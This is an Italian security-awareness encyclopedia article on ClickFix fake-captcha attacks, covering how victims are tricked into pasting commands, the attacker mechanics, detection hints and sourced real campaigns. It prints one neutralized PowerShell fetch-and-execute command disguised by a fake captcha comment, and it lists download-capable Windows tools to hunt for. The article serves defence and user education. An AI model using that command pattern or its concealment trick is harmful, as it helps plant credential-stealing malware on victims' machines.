Cyberpediadi Brain
ITDEENESFR

ClickFix e falsi captcha

Una falsa verifica «Non sono un robot» le fa incollare un comando in Windows+R. Come funziona ClickFix e cosa fare.

In 30 secondi

Dove accade
Su pagine web, spesso siti noti che sono stati violati, e in allegati che imitano un documento Word.
Cosa vuole l'attaccante
Che sia Lei a lanciare un comando che installa sul suo computer un ladro di password o un accesso remoto.
Il riflesso
Nessuna verifica onesta Le chiede di incollare qualcosa nella finestra Esegui, in PowerShell o nel Terminale. Se una pagina lo chiede, la chiuda.
Se è già successo
Scolleghi il cavo di rete o disattivi il Wi-Fi, lasci il computer acceso e chiami subito l'assistenza informatica.

Di cosa si tratta

ClickFix è una tecnica di ingegneria sociale che porta la vittima a installare da sola un software dannoso. Una pagina web o un allegato mostra un falso errore o una falsa verifica «Non sono un robot», seguita da istruzioni da eseguire: aprire una finestra di comando di Windows, incollare, confermare. La pagina ha già copiato un comando negli appunti, ed è quel comando che la vittima lancia senza averlo letto1.

Proofpoint ha osservato il metodo già a marzo 2024. Il nome deriva da una serie di falsi avvisi di aggiornamento del browser, individuata a metà aprile 2024, che i ricercatori hanno battezzato ClickFix2. Dall'autunno 2024 i cybercriminali moltiplicano queste campagne, osserva l'ANSSI3. Secondo ESET, ClickFix è cresciuto di oltre il 500% tra il secondo semestre 2024 e il primo semestre 2025, fino a diventare il secondo vettore di attacco dopo il phishing4.

Domande dirette

Un vero captcha può chiedermi di premere Windows+R?

No. Un captcha si risolve nella pagina: una casella da spuntare, immagini da scegliere, a volte niente. Google consiglia di diffidare di qualsiasi sito che chieda di uscire dal browser per lanciare comandi sul dispositivo5.

Ho incollato il comando ma non ho premuto Invio. Sono infetto?

Dipende dalla finestra. Nella finestra Esegui non parte nulla finché non preme Invio2: la chiuda senza confermare. In PowerShell o nel Terminale, un'operazione di incolla può eseguirsi da sola. Nella console PowerShell, un semplice clic destro incolla il comando e lo lancia2, e Microsoft consiglia di impostare il Terminale perché avvisi quando il testo incollato ha più righe6. In ogni caso, avvisi l'assistenza informatica: il suo computer potrebbe essere colpito, e la pagina che le ha chiesto quel gesto resta una trappola per i colleghi.

Perché l'antivirus non blocca sempre l'attacco?

Perché è Lei a lanciare il comando, con uno strumento fornito da Windows, e all'inizio non c'è alcun file da analizzare. Secondo Proofpoint, gli antivirus e gli strumenti di rilevamento installati sui computer faticano a ispezionare il contenuto degli appunti: occorre quindi bloccare la pagina trappola prima che venga mostrata2. Microsoft ritiene che una campagna ClickFix possa così superare le protezioni automatiche tradizionali6.

1Nei panni dell'attaccante2 min

Un file eseguibile inviato per e-mail o scaricato dal web supera diversi controlli prima di potersi aprire. ClickFix li aggira affidando il gesto pericoloso alla vittima: non c'è più un file, solo una riga di testo da incollare1.

Mettere in piedi l'operazione richiede poca competenza. A metà settembre 2024 un ricercatore ha pubblicato su GitHub, «a scopo educativo», un kit open source di falso reCAPTCHA, e Proofpoint lo ha ritrovato in e-mail dannose pochi giorni dopo7. Dalla fine del 2024 Microsoft vede venditori che propongono nei forum di hacker generatori ClickFix, soprannominati «Win + R», con pagine che imitano tra l'altro Cloudflare. L'abbonamento costa da 200 a 1.500 dollari al mese. Un singolo componente, come il codice sorgente, la pagina di destinazione o la riga di comando, si vende tra 200 e 500 dollari6.

Il clic su «verifica» attiva uno script che copia il comando negli appunti, in background6. Questo comando termina spesso con un falso testo di conferma, del tipo «I am not a robot: CAPTCHA Verification UID»6. Proofpoint spiega la funzione di questo falso messaggio in fondo al comando: una volta incollato il comando nella finestra Esegui, la vittima non vede il vero comando dannoso7. Il campo di questa finestra non accetta più di 259 caratteri6, e il comando incollato si limita in genere a scaricare il resto da un server. PowerShell resta lo strumento di Windows più usato a questo scopo6.

Estratto
Cosa la pagina mette negli appunti (esempio ricostruito, indirizzo neutralizzato):
powershell -w h -c "iwr hxxps://esempio[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821

Cosa la vittima può vedere nella finestra Esegui (illustrazione): il falso messaggio, non il comando.
...ex" # I am not a robot: CAPTCHA Verification UID: 4821
2Cosa si vede sullo schermo2 min

Lo scenario tipico: un falso captcha compare prima della pagina che voleva vedere, spesso ricalcando il reCAPTCHA di Google o il Turnstile di Cloudflare6. Lei clicca, e il captcha dà istruzioni: aprire la finestra Esegui con il tasto Windows e R, incollare con Ctrl+V, poi premere Invio. È lo scenario descritto da CISA e FBI nel loro avviso di maggio 2025 sul ladro di dati LummaC28.

L'ambientazione cambia in base al bersaglio. A marzo 2024 alcune e-mail contenevano un allegato simile a un documento Word, con il messaggio «l'estensione Word Online non è installata» e due pulsanti, «How to fix» e «Auto-fix»2. Da dicembre 2024 una campagna ha preso di mira il personale del settore alberghiero imitando Booking.com, con un falso captcha sovrapposto a una copia appena visibile di una pagina di Booking.com9.

Non si fidi dell'aspetto, che può imitare fedelmente Cloudflare, Google o Booking.com. Il segnale che deve fermarla è l'istruzione: una pagina web le chiede di uscire dal browser per incollare qualcosa in una finestra del sistema. Nel programma Brain questo gesto si collega al riflesso «Identificare i segnali di manipolazione nel corpo dell'e-mail». Qui il segnale di manipolazione è la procedura stessa, sia per e-mail sia sul web.

Se ha confermato il comando, agisca nei minuti successivi. Scolleghi il cavo di rete o disattivi il Wi-Fi, ma non spenga il computer: nella sua scheda dedicata ai ransomware, Cybermalveillance.gouv.fr ricorda che lo spegnimento rischia di cancellare elementi di prova contenuti nella memoria e necessari all'indagine10. Chiami l'assistenza informatica o il team di sicurezza e indichi quali account erano aperti sul computer. LummaC2, uno dei programmi installati in questo modo, sottrae credenziali finanziarie, portafogli di criptovalute, estensioni del browser e informazioni sull'autenticazione a due fattori8: sono questi gli account da proteggere per primi. Senza un servizio informatico, la piattaforma 17cyber.gouv.fr propone un percorso di assistenza10.

3Sotto il cofanoTeam IT1 min

La finestra Esegui appartiene a Esplora risorse di Windows (explorer.exe), un componente di cui il sistema si fida6. Ogni comando lanciato con successo da questa finestra lascia una traccia nella chiave di registro RunMRU, che conserva la cronologia di ciò che è stato digitato. Microsoft consiglia agli investigatori di cercarvi chiamate a powershell, mshta, rundll32, wscript, curl o wget, strumenti di Windows in grado di scaricare o eseguire codice6. Per il ruolo di PowerShell negli attacchi in generale, si veda l'articolo sull'esecuzione tramite interprete di comandi.

Microsoft raccomanda di disattivare la finestra Esegui tramite criteri di gruppo per chi non ne ha bisogno, di attivare la registrazione dei blocchi di script PowerShell e di limitare le applicazioni autorizzate6. Google invita le aziende a vietare per impostazione predefinita l'esecuzione di script da parte degli utenti5. CISA consiglia un elenco di applicazioni autorizzate e account separati per l'amministrazione8.

La tecnica non riguarda più solo Windows. A giugno 2025 una campagna ClickFix ha preso di mira utenti macOS per installare il ladro di dati Atomic macOS Stealer6, ed ESET la descrive come una minaccia per Windows, Linux e macOS4.

4AutopsieCasi reali2 min

Marzo 2024: TA571 e ClearFake

Il 1° marzo 2024 TA571, un distributore di e-mail dannose, invia più di 100.000 messaggi a migliaia di organizzazioni con la falsa pagina Word descritta sopra. A seconda delle campagne primaverili, il comando installa DarkGate, Matanbuchus o NetSupport2. Già da inizio aprile la campagna ClearFake inietta falsi avvisi in siti legittimi violati. Proofpoint vi descrive una catena in cui un solo script PowerShell poteva far eseguire cinque famiglie di software dannosi, tra cui il ladro di dati Lumma Stealer2.

Settembre 2024: i falsi avvisi GitHub

Il 18 settembre 2024 alcuni attaccanti commentano o aprono ticket in repository GitHub. Le notifiche che GitHub invia agli sviluppatori si presentano come un avviso di sicurezza e portano a un falso sito GitHub dotato di un falso reCAPTCHA. Il comando installa Lumma Stealer, e Proofpoint conta almeno 300 organizzazioni colpite7.

Dicembre 2024: nel mirino il settore alberghiero

Microsoft segue con il nome Storm-1865 la campagna con i colori di Booking.com. Prende di mira dipendenti del settore alberghiero in Nord America, Oceania, Asia ed Europa, e installa tra l'altro XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot e NetSupport RAT9.

2025: entrano in gioco i servizi di intelligence

Google ha identificato LOSTKEYS, un programma che ruba file, e lo attribuisce al gruppo COLDRIVER, noto anche come Callisto o Star Blizzard. LOSTKEYS, osservato a gennaio, marzo e aprile 2025, viene consegnato al termine di una catena che inizia con un falso captcha: la pagina copia un comando PowerShell e chiede di lanciarlo dalla finestra Esegui. Tra i bersagli recenti del gruppo figurano consiglieri, attuali o passati, di governi occidentali, giornalisti e ONG5. Secondo l'ANSSI, operatori di Callisto avrebbero usato questa tecnica anche a settembre 2025, in campagne rivolte a membri della società civile in Russia e a ONG impegnate in Ucraina. L'agenzia indica inoltre che almeno una campagna ClickFix è stata portata a sua conoscenza3.

Scheda

Identificativo
CP-011
Ala
1. Attacchi e tecniche
Competenza Brain
Riconoscere il phishing (detect_phishing)
Riflesso Brain
Identificare i segnali di manipolazione nel corpo dell'e-mail (cr-001)
Schema
G1 · Catena d'attacco (Kill Chain)
Lingue
de, en, es, fr, it
Fonti
10 fonti verificate il 26 ottobre 2026
Fonti10 fonti
  1. MITRE ATT&CK, «User Execution: Malicious Copy and Paste (T1204.004)», 18 marzo 2025. https://attack.mitre.org/techniques/T1204/004/ (consultato il 26 ottobre 2026)
  2. Proofpoint, «From Clipboard to Compromise: A PowerShell Self-Pwn», 17 giugno 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (consultato il 26 ottobre 2026)
  3. ANSSI, «Panorama de la cybermenace 2025», 11 marzo 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf (consultato il 26 ottobre 2026)
  4. ESET (WeLiveSecurity), «Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025», 26 giugno 2025. https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ (consultato il 26 ottobre 2026)
  5. Google Threat Intelligence Group, «COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs», 7 maggio 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (consultato il 26 ottobre 2026)
  6. Microsoft Threat Intelligence, «Think before you Click(Fix): Analyzing the ClickFix social engineering technique», 21 agosto 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (consultato il 26 ottobre 2026)
  7. Proofpoint, «Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape», 18 novembre 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (consultato il 26 ottobre 2026)
  8. CISA et FBI, «Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations», 21 maggio 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (consultato il 26 ottobre 2026)
  9. Microsoft Threat Intelligence, «Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware», 13 marzo 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (consultato il 26 ottobre 2026)
  10. Cybermalveillance.gouv.fr, «Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?», 3 giugno 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (consultato il 26 ottobre 2026)

Cita questo articolo

Brain, «ClickFix e falsi captcha», Cyberpedia, 2026. https://startbrain.io/cyberpedia/it/articles/clickfix-captcha-falsi/

BibTeX 
@misc{brain_cp011_it_2026,
  author = {Brain},
  title = {ClickFix e falsi captcha},
  year = {2026},
  howpublished = {Cyberpedia},
  url = {https://startbrain.io/cyberpedia/it/articles/clickfix-captcha-falsi/},
  note = {CC BY 4.0}
}
Licenza CC BY 4.0